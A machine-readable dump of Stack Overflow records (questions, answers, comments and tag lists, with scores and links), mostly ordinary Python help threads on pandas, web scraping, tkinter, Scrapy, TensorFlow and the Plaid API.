has body: I have what seems to be a simple task - I am almost done, but have one pesky issue I should be able to get rid of, but it's being elusive. I have a number of Excel .xls files. The file name is in the format .xls. I created the filenames.txt file to iterate through to get the company names. Each file has garbage data in the first 4 or so rows, so I need to remove those first four rows in all the files. I then need to add a column with the in the first column position. My code runs with no errors, but the output is not exactly what I need. The only problems I am running into are: 1. I am getting a leading column added that I wasn't expecting with index numbers. 2. The strip command doesn't appear to be stripping the '.xls' - so what ends up being inserted into the column in Excel is .xls instead of just . 3. Because the '.xls' is not being stripped properly, the to_excel command is saving the file with a '.xls.xls' extension. I read a few similar scenarios, so I have this code being used: import pandas as pd import os path = os.chdir(r"C:\Users\mheitz\Documents\testing") filenames = [names.strip('\n') for names in \ open(r"C:\Users\mheitz\Documents\testing\filenames.txt",'r').readlines()] for name in filenames: vendors = pd.read_excel(name, header = 11, skiprows =0-10) vendors.insert(0,'Vendor Name',(name[:-4])) vendors.to_excel(r"C:\Users\mheitz\Documents\testing\clean\clean" + name)
has answer: http://stackoverflow.com/a/47247889
tagged with: python
score: 0
has title: Cleaning Excel Spreadsheet using Python
answer count: 2
tagged with: pandas
tagged with: excel
type: Question

http://stackoverflow.com/comment/81532382
score: 0
type: QuestionComment
has text: Using version 1.17.43.5 of the Cosmos DB Emulator.
comment on: http://stackoverflow.com/q/47289971
type: Comment

http://stackoverflow.com/a/47328462
answers question: http://stackoverflow.com/q/47328170
accepted answer of: http://stackoverflow.com/q/47328170
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/114268307
has comment: http://stackoverflow.com/comment/110186785
has comment: http://stackoverflow.com/comment/81642657
type: Answer
has body: Guess i have found solution i have just copied folder from .extensions into C:\Program Files\VS Code ....extensions.

http://stackoverflow.com/q/47315219
tagged with: python
has title: get attribution from data-descriptor class python
score: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has body: trying to learn how to use data-descriptor and see the information for document, https://docs.python.org/3/howto/descriptor.html, my question under the class RevealAccess what if I would like to return another attribution like name? Thinking about rewrite as a property for it, but since it have set once it set as str, class turn into string object, no other attribution can be access from get class RevealAccess(object): def __init__(self, initval=None, name='var'): self.val = initval self.name = name def __get__(self, obj, objtype): print('Retrieving', self.name) return self.val def __set__(self, obj, val): print('Updating', self.name) self.val = val @property def name(self): return self._name @name.setter def name(self, value): self._name = value
answer count: 0
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/q/47282552
tagged with: pandas
tagged with: pivot
accepted answer: http://stackoverflow.com/a/47282610
has comment: http://stackoverflow.com/comment/81517989
answer count: 1
has title: Pandas pivot manipulation replace None with last row value
type: Question
has comment: http://stackoverflow.com/comment/81516178
has body: I have a dataframe with idex as datetime, different ids and different values I have a df as : data = [ { 'datetime_start' : "2017-03-15 14:31:20.507", "id" : "usr_21", "value": "-1.286452"}, { 'datetime_start' : "2017-03-16 15:17:45.550", "id" : "usr_15", "value": "-2.349203"}, { 'datetime_start' : "2017-03-17 14:20:47.437", "id" : "usr_13", "value": "-2.397038"}, { 'datetime_start' : "2017-03-19 09:43:47.262", "id" : "usr_12", "value": "-1.250512"}, { 'datetime_start' : "2017-03-19 15:18:47.941", "id" : "usr_21", "value": "-0.681998"}, { 'datetime_start' : "2017-03-19 20:03:52.905", "id" : "usr_15", "value": "-1.018452"}, { 'datetime_start' : "2017-03-22 13:40:48.178", "id" : "usr_21", "value": "-1.531373"}, { 'datetime_start' : "2017-03-22 19:54:48.320", "id" : "usr_18", "value": "-3.789466"}, { 'datetime_start' : "2017-03-23 13:53:48.789", "id" : "usr_21", "value": "-1.288360"}, { 'datetime_start' : "2017-03-24 15:54:48.649", "id" : "usr_21", "value": "0.213171"}, { 'datetime_start' : "2017-03-25 17:53:48.422", "id" : "usr_13", "value": "-2.020710"}, { 'datetime_start' : "2017-03-26 06:10:48.197", "id" : "usr_12", "value": "-1.484709"}, { 'datetime_start' : "2017-03-15 14:31:20.507", "id" : "usr_21", "value": "-1.286452"}, { 'datetime_start' : "2017-03-16 15:18:45.550", "id" : "usr_18", "value": "-2.349203"}, { 'datetime_start' : "2017-03-17 14:18:47.437", "id" : "usr_11", "value": "-2.397038"}, { 'datetime_start' : "2017-03-19 09:48:47.262", "id" : "usr_15", "value": "-1.250512"}, { 'datetime_start' : "2017-03-19 15:18:47.941", "id" : "usr_21", "value": "-0.681998"}, { 'datetime_start' : "2017-03-19 20:03:52.905", "id" : "usr_13", "value": "-1.018452"}, { 'datetime_start' : "2017-03-22 13:53:48.178", "id" : "usr_21", "value": "-1.531373"}, { 'datetime_start' : "2017-03-22 19:53:48.320", "id" : "usr_18", "value": "-3.789466"}, { 'datetime_start' : "2017-03-23 13:53:48.789", "id" : "usr_21", "value": "-1.288360"}, { 'datetime_start' : "2017-03-24 15:53:48.649", "i…
has answer: http://stackoverflow.com/a/47282610
tagged with: python
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47361677
type: Answer
answers question: http://stackoverflow.com/q/47361589
score: 15
upvote count: 15
accepted answer of: http://stackoverflow.com/q/47361589
type: AcceptedAnswer
downvote count: 0
has body: You might try the using interp1d in scipy.interpolate: import numpy as np import matplotlib.pyplot as plt from scipy.interpolate import interp1d x=np.array([0.1, 0.3, 0.5, 0.7, 0.9, 1.1, 1.3, 1.5, 1.7, 1.9, 2]) y=np.array([0.57,0.85,0.66,0.84,0.59,0.55,0.61,0.76,0.54,0.55,0.48]) x_new = np.linspace(x.min(), x.max(),500) f = interp1d(x, y, kind='quadratic') y_smooth=f(x_new) plt.plot (x_new,y_smooth) plt.scatter (x, y) which yields: some other options for the kind parameter are in the docs: kind : str or int, optional Specifies the kind of interpolation as a string (‘linear’, ‘nearest’, ‘zero’, ‘slinear’, ‘quadratic’, ‘cubic’ where ‘zero’, ‘slinear’, ‘quadratic’ and ‘cubic’ refer to a spline interpolation of zeroth, first, second or third order) or as an integer specifying the order of the spline interpolator to use. Default is ‘linear’.

http://stackoverflow.com/comment/81707643
comment on: http://stackoverflow.com/q/47377686
type: Comment
has text: @PatrickHaugh True, I missed the float function.
type: QuestionComment
score: 0

http://stackoverflow.com/a/47287759
score: 2
downvote count: 0
has body: Before anything, if the decimals of ra and dec are different from those of your values in csv file, use round() to fix the decimals first, then do the following action using Pandas: import pandas ra = 59.6517601 dec = 61.5475502 pattern = [ra,dec] table = pandas.read_csv('file.csv') for ind,row in table.iterrows(): if list(row.values)==pattern: print('pattern was detected at index {}'.format(ind)) and without pandas: cnt = 0 ra = 59.6517601 dec = 61.5475502 pattern = [ra,dec] with open('file.csv','r').read() as file: for row in file.split('\n'): x = [float(row.split(',')[0]),float(row.split(',')[1])] if x==pattern: print('pattern was detected at index {}'.format(cnt)) break cnt += 1 just remember that if you come into ValueError in the second solution, it is likely because of the split behavior for text in files, where an empty element is created at last index of the list. to avoid the error, do: file = file[:-1] after the with syntax
answers question: http://stackoverflow.com/q/47287016
type: Answer
upvote count: 2

pyopenssl
tag name: pyopenssl
tags question: http://stackoverflow.com/q/47252674
type: Tag

http://stackoverflow.com/q/47259358
tagged with: jupyter-notebook
has comment: http://stackoverflow.com/comment/81472009
has comment: http://stackoverflow.com/comment/81479000
type: Question
score: 5
type: UnansweredQuestion
has title: Jupyter Notebook Low CPU Usage
tagged with: process
answer count: 1
downvote count: 0
tagged with: python
favorite count: 0
has body: I have noticed that some cells take a long time to finish executing on my Jupyter Notebooks. When looking in the task manager, I see that the python process is only using up to about 4% of the CPU. I am using Python 3.6.2 I am on Windows but am using the "Bash on Ubuntu on Windows" terminal to launch the Jupyter notebook (maybe this helps). The processor is a Core i7 and the process is not using up all available RAM so it isn't a Swap memory problem. Basically, why is it being "throttled" like this and how can I fix it?
upvote count: 5
has answer: http://stackoverflow.com/a/52069314

http://stackoverflow.com/comment/81665347
type: Comment
type: QuestionComment
has text: @COLDSPEED thank you I really appreciate the info and the detailed break down all your methods worked
score: 0
comment on: http://stackoverflow.com/q/47356032

http://stackoverflow.com/a/47293864
has comment: http://stackoverflow.com/comment/81539722
has body: next_siblings exists without plural, to find the first next sibling : res = [] sections = part.find_all('h3', string=lambda s:'I am an important section of the list' in s) for section in sections: for item in section.next_sibling.next_sibling.find_all('a'): res.append(item.get('href')) print(res) >>>['commonStuff/newThing1', 'commonStuff/newThing2'] Explanations about next_sibling: If your html source contains no linebreak after , you'd need only one next_sibling. BeautifulSoup interprets it as a NavigableString. In this first example, we get the linebreak : html = """ I am an important section of the list Important text in here Differentmportant text in here """ soup = soup(html, 'html.parser') sections = soup.find_all('h3') for section in sections: print('next sibling : ', section.next_sibling) print(type(section.next_sibling)) result : next sibling : <class 'bs4.element.NavigableString'> In this one, without linebreak after , we obtain directly the tag we are searching : html = """ I am an important section of the list Important text in here Differentmportant text in here """ soup = soup(html, 'html.parser') sections = soup.find_all('h3') for section in sections: print('next sibling : ', section.next_sibling) print(type(section.next_sibling)) result : next sibling : Important text in here Differentmportant text in here <class 'bs4.element.Tag'>
accepted answer of: http://stackoverflow.com/q/47293640
type: Answer
answers question: http://stackoverflow.com/q/47293640
score: 2
has comment: http://stackoverflow.com/comment/81539135
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81538795

http://stackoverflow.com/comment/81446061
comment on: http://stackoverflow.com/a/47245574
score: 0
type: AnswerComment
has text: got it now . Thanks again
type: Comment

http://stackoverflow.com/a/47260484
type: Answer
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/47258636
has body: I was able to solve the issue. Added a sleep for 1 sec and the text appeared. Thanks all for the help
accepted answer of: http://stackoverflow.com/q/47258636

http://stackoverflow.com/comment/81502304
score: 0
comment on: http://stackoverflow.com/q/47274952
has text: Does this class have any non-static methods or variables?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47245389
has comment: http://stackoverflow.com/comment/81451321
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47241675
has comment: http://stackoverflow.com/comment/81444706
has comment: http://stackoverflow.com/comment/81454521
type: Answer
has body: I've modified a little to serve the purpose. Run this and let me know if you encounter further issues: import requests from bs4 import BeautifulSoup base_url = 'https://www.yelp.com/search?find_desc=Restaurants&amp;find_loc=' loc = 'Newport+Beach,+CA' page = 10 url = base_url + loc + "&amp;start=" + str(page) yelp_soup = BeautifulSoup(requests.get(url).text, 'lxml') for biz in yelp_soup.find_all(class_='biz-listing-large'): title = biz.find_all(class_='biz-name')[0].text address = biz.select('address,.biz-parent-container')[0].text phone = biz.find_all(class_='biz-phone')[0].text print(title.strip(),address.strip(),phone.strip())
answers question: http://stackoverflow.com/q/47241675
score: 0
has comment: http://stackoverflow.com/comment/81446385

http://stackoverflow.com/comment/96722940
type: Comment
comment on: http://stackoverflow.com/a/47306203
type: AnswerComment
has text: so where does this lead the import of tensorflow.python.keras?
score: 0

http://stackoverflow.com/comment/81561118
type: Comment
type: QuestionComment
has text: When I run `int(math.ceil(12782 / 16))`, I get as a result 799 instead of 798. Is it possible that you used some different version of your code?
comment on: http://stackoverflow.com/q/47305059
score: 0

macos
tags question: http://stackoverflow.com/q/47311097
tags question: http://stackoverflow.com/q/47237584
tags question: http://stackoverflow.com/q/47317408
tags question: http://stackoverflow.com/q/47264196
tags question: http://stackoverflow.com/q/47360530
tags question: http://stackoverflow.com/q/47270354
tags question: http://stackoverflow.com/q/47274866
tags question: http://stackoverflow.com/q/47343126
tags question: http://stackoverflow.com/q/47255517
tags question: http://stackoverflow.com/q/47379419
tags question: http://stackoverflow.com/q/47264994
tags question: http://stackoverflow.com/q/47310066
type: Tag
tags question: http://stackoverflow.com/q/47270066
tags question: http://stackoverflow.com/q/47240370
tags question: http://stackoverflow.com/q/47294431
tags question: http://stackoverflow.com/q/47254242
tags question: http://stackoverflow.com/q/47305714
tag name: macos
tags question: http://stackoverflow.com/q/47291576
tags question: http://stackoverflow.com/q/47311312
tags question: http://stackoverflow.com/q/47356726
tags question: http://stackoverflow.com/q/47332282
tags question: http://stackoverflow.com/q/47377212

http://stackoverflow.com/comment/81429172
type: Comment
type: QuestionComment
has text: The format of the ODE function is `derivs(state, time, params)`, where `time` is really a single time, not the full list of times that you want samples from in the solution. If you at some point use the time in the ODE function, this more precise naming might help to get a better intuition.
comment on: http://stackoverflow.com/q/47238752
score: 1

http://stackoverflow.com/comment/81560719
has text: No, that command works for me with both python 2.7 and python 3.
score: 0
comment on: http://stackoverflow.com/a/47268692
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81619179
has text: @kichik, yeah the image is exactly the same. `docker images | grep d123f4e55e12` `centos latest d123f4e55e12 12 days ago 197MB`
comment on: http://stackoverflow.com/q/47320113
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/47240554
type: UnansweredQuestion
has title: Change Prior Pymc3 with from_formula
answer count: 1
downvote count: 0
tagged with: bayesian
score: 4
favorite count: 0
tagged with: pymc3
has comment: http://stackoverflow.com/comment/81440688
has body: I'm working on a dataset from Kaggle (the one on Human ressources) I am trying to implement some bayesian statistics (logistic regression) but I don't understand how to change the prior on this model (I want the intercept to be an uninformative gaussian and the laplace for all the other predictors) import pymc3 as pm priors = {"Intercept": pm.Normal('alpha', mu=0, sd=100), "Regressor": pm.Laplace('beta', mu=0, b=np.sqrt(2)) } with pm.Model() as logistic_model: pm.glm.GLM.from_formula('left ~ satisfaction_level + last_evaluation \ + number_project + average_montly_hours \ + time_spend_company + Work_accident + promotion_last_5years\ + sales + salary', df, family=pm.glm.families.Binomial(), priors = priors) trace_logistic_model = pm.sample(4000) And the error message: TypeError: No model on context stack, which is needed to instantiate distributions. Add variable inside a 'with model:' block, or use the '.dist' syntax for a standalone distribution. I've tried to use the "dist" but it doesn't work Thanks for your help Update: I have change my code to the following: with pm.Model() as logistic_model: priors = {"Intercept": pm.Normal('alpha', mu=0, sd=100), "Regressor": pm.Laplace('beta', mu=0, b=np.sqrt(2)) } pm.glm.GLM.from_formula('left ~ satisfaction_level + last_evaluation \ + number_project + average_montly_hours \ + time_spend_company + Work_accident + promotion_last_5years\ + sales + salary', df, family=pm.glm.families.Binomial(), priors = priors) trace_logistic_model = pm.sample(4000) Now I Have this error: --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-16-e3566f815877&gt; in &lt;module&gt;() 5 } 6 ----&gt; 7 pm.glm.GLM.from_formula('left ~ satisfaction_level + last_evaluation + number_project + average_montly_hours + time_spend_company + Work_accident + promotion_last_5years + sales + salary', df, family=pm.glm.families.Binomial(), priors = priors) 8 trace_logistic_model …
tagged with: python
has answer: http://stackoverflow.com/a/47496754
type: Question
upvote count: 4

http://stackoverflow.com/q/47255897
tagged with: python-behave
tagged with: python
has title: Python-Behave Selenium - Get all child anchor text from parent element
has body: I have the following header that I'm trying to get the multiple text from. I'm only able to get the text of menus Mobile App Guide, Quick Links, SDKs, Protocols &amp; Plugins, and FAQ. But I'm not able to get the sub menu text. I'm using elem.find_elements_by_css_selector("*") and elem.find_elements_by_xpath(".//*") which creates a list of all child elements under header tag. I think its because I'm only iterating through to closest child of the parent element where if len(child.text) &gt; 0. Anyone know how I can iterate through all the child elements (including sub menu) of the header tag? from behave import given, when, then from selenium.webdriver.common.keys import Keys # @given('the user is on documentation home page') # def on_home_page(context): # context.driver.get("URL removed") @when('the header is displayed') def header_display(context): assert context.driver.find_element_by_xpath('/html/body/header') @then('the header should have {menu}') def header_menu(context, menu): elem = context.driver.find_element_by_tag_name("header") all_children_by_css = elem.find_elements_by_css_selector("*") all_children_by_xpath = elem.find_elements_by_xpath(".//*") children = [] for child in all_children_by_xpath: # print(len(child.text)) if len(child.text) &gt; 0: # print(child.text) if child.text not in children: children.append(child.text) print(children) if menu in children: assert True else: assert False Source code of page header &lt;header class="header docs-header"&gt; &lt;nav class="top-bar" data-topbar role="navigation"&gt; &lt;ul class="title-area"&gt; &lt;li class="name"&gt; &lt;h1&gt; &lt;a title="LaunchKey Home Page" class="home-link" href="https://www.iovation.com/launchkey"&gt; &lt;img alt="LaunchKey Logo" class="header-logo" src="_static/images/logo-name.svg"&gt; &lt;/a&gt; &lt;/h1&gt; &lt;/li&gt; &lt;li class="toggle-topbar menu-icon"&gt; &lt;a href="#" title="menu-toggle"&gt; &lt;span&gt;&amp;nbsp;&lt;/span&gt; &lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;sect…
has comment: http://stackoverflow.com/comment/81465871
score: 0
answer count: 0
tagged with: selenium
has comment: http://stackoverflow.com/comment/81466566
type: Question
type: UnansweredQuestion

seaborn
tags question: http://stackoverflow.com/q/47251225
tags question: http://stackoverflow.com/q/47234915
tags question: http://stackoverflow.com/q/47352929
tags question: http://stackoverflow.com/q/47350879
tags question: http://stackoverflow.com/q/47234122
tags question: http://stackoverflow.com/q/47332924
tags question: http://stackoverflow.com/q/47306297
tag name: seaborn
tags question: http://stackoverflow.com/q/47358050
tags question: http://stackoverflow.com/q/47303027
tags question: http://stackoverflow.com/q/47292737
tags question: http://stackoverflow.com/q/47348605
tags question: http://stackoverflow.com/q/47325845
tags question: http://stackoverflow.com/q/47290299
type: Tag

http://stackoverflow.com/comment/81522387
type: AnswerComment
has text: I of course don't take Python's zen as a literal guideline (hopefully xD) - but there's still a lot of wisdom in it ;)
score: 0
comment on: http://stackoverflow.com/a/47282880
type: Comment

http://stackoverflow.com/q/47340674
has answer: http://stackoverflow.com/a/47340809
answer count: 2
tagged with: file
has comment: http://stackoverflow.com/comment/81633698
tagged with: list
type: Question
has comment: http://stackoverflow.com/comment/81633921
tagged with: python
type: UnansweredQuestion
has body: I'm a beginner to Python. I am begging to learn about functions and files. I need to write a code that will return a list of all the words in dictionary.txt using a function, but I can't seem to figure it out. Current code def get_dictionary_wordlist(dic): dic = open("dictionary.txt", "r") for word in dic: return word
has answer: http://stackoverflow.com/a/47340722
has title: return list of words in dictionary.txt
score: 0
tagged with: function

http://stackoverflow.com/a/47290408
downvote count: 0
type: AcceptedAnswer
score: 4
answers question: http://stackoverflow.com/q/47290045
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/47290045
has body: You're on the right track when calculating the square of the adjacency matrix. After the exponentiation you would get result matrix that looks like this: [[2 1 1 1 0 1] [1 4 1 0 2 0] [1 1 2 1 0 1] [1 0 1 2 0 2] [0 2 0 0 2 0] [1 0 1 2 0 2]] First you need to exclude all diagonal entries from this matrix, because those denote walks that are not paths, as their starting and ending node is the same. Note that for length 2 that is the only way how nodes can be repeating. The other entries need to be counted only once, because of symmetry. So only look at the upper right triangle of the matrix. One way to do it is: result_sum = 0 for i in range(input_count - 1): for j in range(i + 1, input_count - 1): result_sum += result[i][j] print(result_sum) # prints 11 More Pythonic way, one-liner using numpy.trace(): result_sum = (np.sum(result) - np.trace(result)) // 2

http://stackoverflow.com/comment/81419857
type: AnswerComment
has text: No, I did not copy it and you must have already updated it. Anyway, It's not a big deal I will accept your answer
comment on: http://stackoverflow.com/a/47234610
score: 0
type: Comment

http://stackoverflow.com/q/47317700
type: AnsweredQuestion
tagged with: python-2.7
score: 1
tagged with: python
has body: Hi I installed on a Google App Engine Python 2.7, opencv using pip install -t lib -r requirements.txt requirements.txt is: Flask==0.12.1 Werkzeug==0.12.2 Opencv_python==3.3.0.10 Install worked, I can use other libraries, but when I try to import opencv on code, it throws the next exception: File "/google/google-cloud-sdk/platform/google_appengine/google/appengine/runtime/wsgi.py", line 85, in LoadObject obj = __import__(path[0]) File "/home/tcarrillof/python-docs-hello-world/main.py", line 23, in &lt;module&gt; import cv2 File "/home/tcarrillof/python-docs-hello-world/lib/cv2/__init__.py", line 6, in &lt;module&gt; os.environ["PATH"] += os.pathsep + os.path.dirname(os.path.realpath(__file__)) File "/google/google-cloud-sdk/platform/google_appengine/google/appengine/runtime/request_environment.py", line 126, in __getitem__ return self._request.environ[key] KeyError: 'PATH' Is it there something I need to configure?, Any help is welcome in advance :) Note: app.yaml is: runtime: python27 api_version: 1 threadsafe: true handlers: - url: /static static_dir: static - url: /.* script: main.app and appengine_config.py is: import os from google.appengine.ext import vendor vendor.add(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'lib'))
linked to: http://stackoverflow.com/q/44439443
type: Question
has answer: http://stackoverflow.com/a/49152814
possible better answer: http://stackoverflow.com/a/49152814
answer count: 2
tagged with: google-app-engine
downvote count: 0
upvote count: 1
has title: Install opencv on Google App Engine Python 2.7
favorite count: 0
has answer: http://stackoverflow.com/a/47319223
tagged with: opencv
accepted answer: http://stackoverflow.com/a/47319223

http://stackoverflow.com/q/47282399
upvote count: 5
downvote count: 0
tagged with: python
accepted answer: http://stackoverflow.com/a/51707973
has answer: http://stackoverflow.com/a/51707973
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49161168
has title: Early stopping using tensorflow tf.estimator ?
has body: I am using tensorflow v1.4. I want to use early stopping using the validation set with a patience of 5 epochs. I have searched on the web and found out that there used to be a function called ValidationMonitor but it is depreciated now. So is there a way to achieve this ?
possible better answer: http://stackoverflow.com/a/49161168
tagged with: tensorflow
favorite count: 0
type: Question
answer count: 2
score: 5

http://stackoverflow.com/comment/81565685
comment on: http://stackoverflow.com/q/47304539
score: 0
type: Comment
type: QuestionComment
has text: That doesn't help, I need to know where the user is entering these details in your program. You also don't declare `mgmt` anywhere in your program.

http://stackoverflow.com/q/47270054
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47270628
upvote count: 5
accepted answer: http://stackoverflow.com/a/47274764
has answer: http://stackoverflow.com/a/47270628
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/81491938
tagged with: python
tagged with: tornado
has title: Tornado: get request arguments
linked to: http://stackoverflow.com/q/34818996
answer count: 2
score: 5
downvote count: 0
has answer: http://stackoverflow.com/a/47274764
has body: I have following code: application = tornado.web.Application([ (r"/get(.*)", GetHandler), ]) class GetHandler(tornado.web.RequestHandler): def get(self, key): response = {'key': key} self.write(response) when I go to localhost:port/get?key=python I receive empty key value {'key': ''}. What is wrong here?
favorite count: 0
type: Question

http://stackoverflow.com/comment/81516237
comment on: http://stackoverflow.com/q/47282928
score: 0
has text: Please post the whole traceback
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81457179
score: 0
has text: Ah! Thank you so much! I feel silly, but at least I learned something. Thanks!!
type: Comment
comment on: http://stackoverflow.com/q/47253155
type: QuestionComment

http://stackoverflow.com/q/47266699
has answer: http://stackoverflow.com/a/47288148
type: UnansweredQuestion
tagged with: plaid
has comment: http://stackoverflow.com/comment/81491337
tagged with: token
has answer: http://stackoverflow.com/a/49192789
tagged with: python
has comment: http://stackoverflow.com/comment/81484336
has body: I am trying to get started with the plaid API. I created my account to get the API keys and I have the quickstart project. I put my keys in the code(they are not applied in the code below) and when I run it I use the sandbox credentials. Unfortunately after the log in succeeds I always receive the same error when trying to receive the access token: HTTP500: SERVER ERROR - The server encountered an unexpected condition that prevented it from fulfilling the request.(XHR)POST - http://127.0.0.1:5000/get_access_token Here is the code: import os import datetime import plaid from flask import Flask from flask import render_template from flask import request from flask import jsonify app = Flask(__name__) # Fill in your Plaid API keys - https://dashboard.plaid.com/account/keys PLAID_CLIENT_ID = os.getenv('PLAID_CLIENT_ID') PLAID_SECRET = os.getenv('PLAID_SECRET') PLAID_PUBLIC_KEY = os.getenv('PLAID_PUBLIC_KEY') # Use 'sandbox' to test with Plaid's Sandbox environment (username: user_good, # password: pass_good) # Use `development` to test with live users and credentials and `production` # to go live PLAID_ENV = os.getenv('PLAID_ENV', 'sandbox') client = plaid.Client(client_id = PLAID_CLIENT_ID, secret=PLAID_SECRET, public_key=PLAID_PUBLIC_KEY, environment=PLAID_ENV) @app.route("/") def index(): return render_template('index.ejs', plaid_public_key=PLAID_PUBLIC_KEY, plaid_environment=PLAID_ENV) access_token = None public_token = None @app.route("/get_access_token", methods=['POST']) def get_access_token(): global access_token public_token = request.form['public_token'] exchange_response = client.Item.public_token.exchange(public_token) print ('public token: ' + public_token) print ('access token: ' + exchange_response['access_token']) print ('item ID: ' + exchange_response['item_id']) access_token = exchange_response['access_token'] return jsonify(exchange_response) @app.route("/accounts", methods=['GET']) def accounts(): global access_token accounts = client.Auth.get(access…
has title: Plaid API quickstart project error http://127.0.0.1:5000/get_access_token
type: Question
tagged with: api
score: 0
answer count: 2

http://stackoverflow.com/q/47268325
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/47268970
tagged with: scrapy
favorite count: 0
type: Question
has title: How to access request object inside Item Pipeline Scrapy
tagged with: python
tagged with: python-2.7
has body: I have a item pipeline to process prices. I am having errors while processing item in this pipeline. But scrapy error doesn't tells which url produced error. Is there any way i can access the request object inside the pipeline def process_item(self, item, spider): """ :param self: :param item: :param spider: """ print dir(spider) # No request object here... quit() if not all(item['price']): raise DropItem item['price']['new'] = float(re.sub( "\D", "", item['price']['new'])) item['price']['old'] = float(re.sub( "\D", "", item['price']['old'])) try: item['price']['discount'] = math.ceil( 100 - (100 * (item['price']['new'] / item['price']['old']))) except ZeroDivisionError as e: print "Error in calculating discount {item} {request}".format(item=item, request=spider.request) # here I want to see the culprit url... raise DropItem return item
answer count: 2
has answer: http://stackoverflow.com/a/47268485
type: UnansweredQuestion

signals
tags question: http://stackoverflow.com/q/47306805
tags question: http://stackoverflow.com/q/47351164
type: Tag
tags question: http://stackoverflow.com/q/47348598
tags question: http://stackoverflow.com/q/47316079
tag name: signals
tags question: http://stackoverflow.com/q/47371216

http://stackoverflow.com/a/47293200
has body: You can generate a select for the options on the ManyToManyFIeld and render each option on the select and add the values using AJAX. Selecciona el material {% for material in materiales %} {{material.descripcion}} ({{material.id_tipo_material.unidad}}) - Total = {{material.cantidad}} {% endfor %} And the AJAX request: function agrega_material(){ var url = '{% url "paquetes:agrega_material_paquete" %}'; var paquete = $('#id_cantidad').data('paquete'); var material = $('#id_material').val(); var cantidad = $('#id_cantidad').val(); $.post(url, { paquete:paquete, material:material, cantidad:cantidad }) .done(function( data ) { if(data['status'] == 'ko'){ Materialize.toast('Cantidad es más grande que el material restante.', 4000) }else{ $('#forma_material_paquete').html(data); $('select').material_select(); Materialize.toast('El material ha sido agregado.', 4000) } }); return false; }; You are gonna submit the form using AJAX, passing the data to a view of django and adding the element or making a modification on your views, then you can pop a notification if the request status was ok. Example of view: def agrega_material_paquete(request): if request.method == 'POST': #Procesar datos id_paquete = int(request.POST.get('paquete')) //Here you receive the data of the AJAX request. paquete = get_object_or_404(Paquete, id=id_paquete ) id_material = int(request.POST.get('material')) material = get_object_or_404(Material, id=id_material) cantidad_material = int(material.cantidad) cantidad = int(request.POST.get('cantidad')) if cantidad_material >= cantidad: Material_por_paquete.objects.create(paquete=paquete,material=material,cantidad=cantidad) #Mostrar vista de nuevo form = FormaMateriales() materiales = Material.objects.filter(activo=True) id_paquete = request.POST.get('paquete') materiales_paquete = Material_por_paquete.materiales_paquete(id_paquete) html = render_to_string('paquetes/select_materiales.html', {'form': form,'materiales':materiales,'materiales_paquete':materiale…
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47256309
answers question: http://stackoverflow.com/q/47256309
type: Answer
has comment: http://stackoverflow.com/comment/81699073

http://stackoverflow.com/a/47348468
type: Answer
answers question: http://stackoverflow.com/q/47332482
has body: You have to set path where you want to store it, Store in system drive like this driver.save_screenshot('D:/Folder_name/dms_swr.png')
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47367075
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/81686564
tagged with: python-3.x
has body: I have a problem with my small login window. I'd like to program a small login window for one of my programs with a button to check the input. The program is working fine till my computer wants to enable the button: TypeError: 'Tk' object is not callable Why is this like that? What is wrong? Are all commands right? import tkinter import os def login(): c= tkinter.Entry.get(input1) if c == "admin": a = tkinter.Entry.get(input2) if a == "1234": os.system('SpambotV1') else: print("hi") else: print("Cancled") # Hauptprogramm login=tkinter.Tk() login.title("login") login.config(background="blue") photo = tkinter.PhotoImage(file="/Users/Hannes/Desktop/Spambot/Roboter.gif") w = tkinter.Label(login,image=photo) w.grid(row=0,column=1,padx=0,pady=0) #Loginframe frame1=tkinter.Frame(login) frame1.grid(row=0,column=0,padx=5,pady=5) #loginlabel text1=tkinter.Label(frame1,text="Please login", bg="red") text1.grid(row=0,column=0,padx=5,pady=5) #Input1 input1=tkinter.Entry(frame1,width=12) input1.grid(row=2,column=0,padx=5,pady=5) #text 2 text2=tkinter.Label(frame1,text="Username",bg="red") text2.grid(row=1,column=0,padx=5,pady=5) #text 3 text3=tkinter.Label(frame1,text="Password",bg="red") text3.grid(row=3,column=0,padx=5,pady=5) #Entry 2 input2=tkinter.Entry(frame1,width=12) input2.grid(row=4,column=0,padx=5,pady=5) #knopf knopf=tkinter.Button(frame1,text="Login",bg="red",command=login()) knopf.grid(row=4,column=0,padx=10,pady=10)
has answer: http://stackoverflow.com/a/47367151
tagged with: python
has comment: http://stackoverflow.com/comment/81686842
type: Question
score: 0
tagged with: tkinter
has title: Why is the module tk not callable?

http://stackoverflow.com/comment/81589507
type: AnswerComment
score: 1
type: Comment
has text: And good on you. +1 for the bold text, though I think you could also swap them around (ie, this is the way to do it correctly, and this is the dangerous way if you really want to know) as it'll help readers chose the correct one.
comment on: http://stackoverflow.com/a/47319082

http://stackoverflow.com/a/47255812
upvote count: 1
answers question: http://stackoverflow.com/q/47255762
accepted answer of: http://stackoverflow.com/q/47255762
score: 1
type: AcceptedAnswer
has body: First, split the lines into their four parts, and then do some fancy magic with the last element in the list: for line in infile: line_list = line.split(', ', maxsplit=3) line_list[3] = line_list[3].strip("[]").split(', ')
downvote count: 0
type: Answer

http://stackoverflow.com/comment/81640065
comment on: http://stackoverflow.com/q/47343838
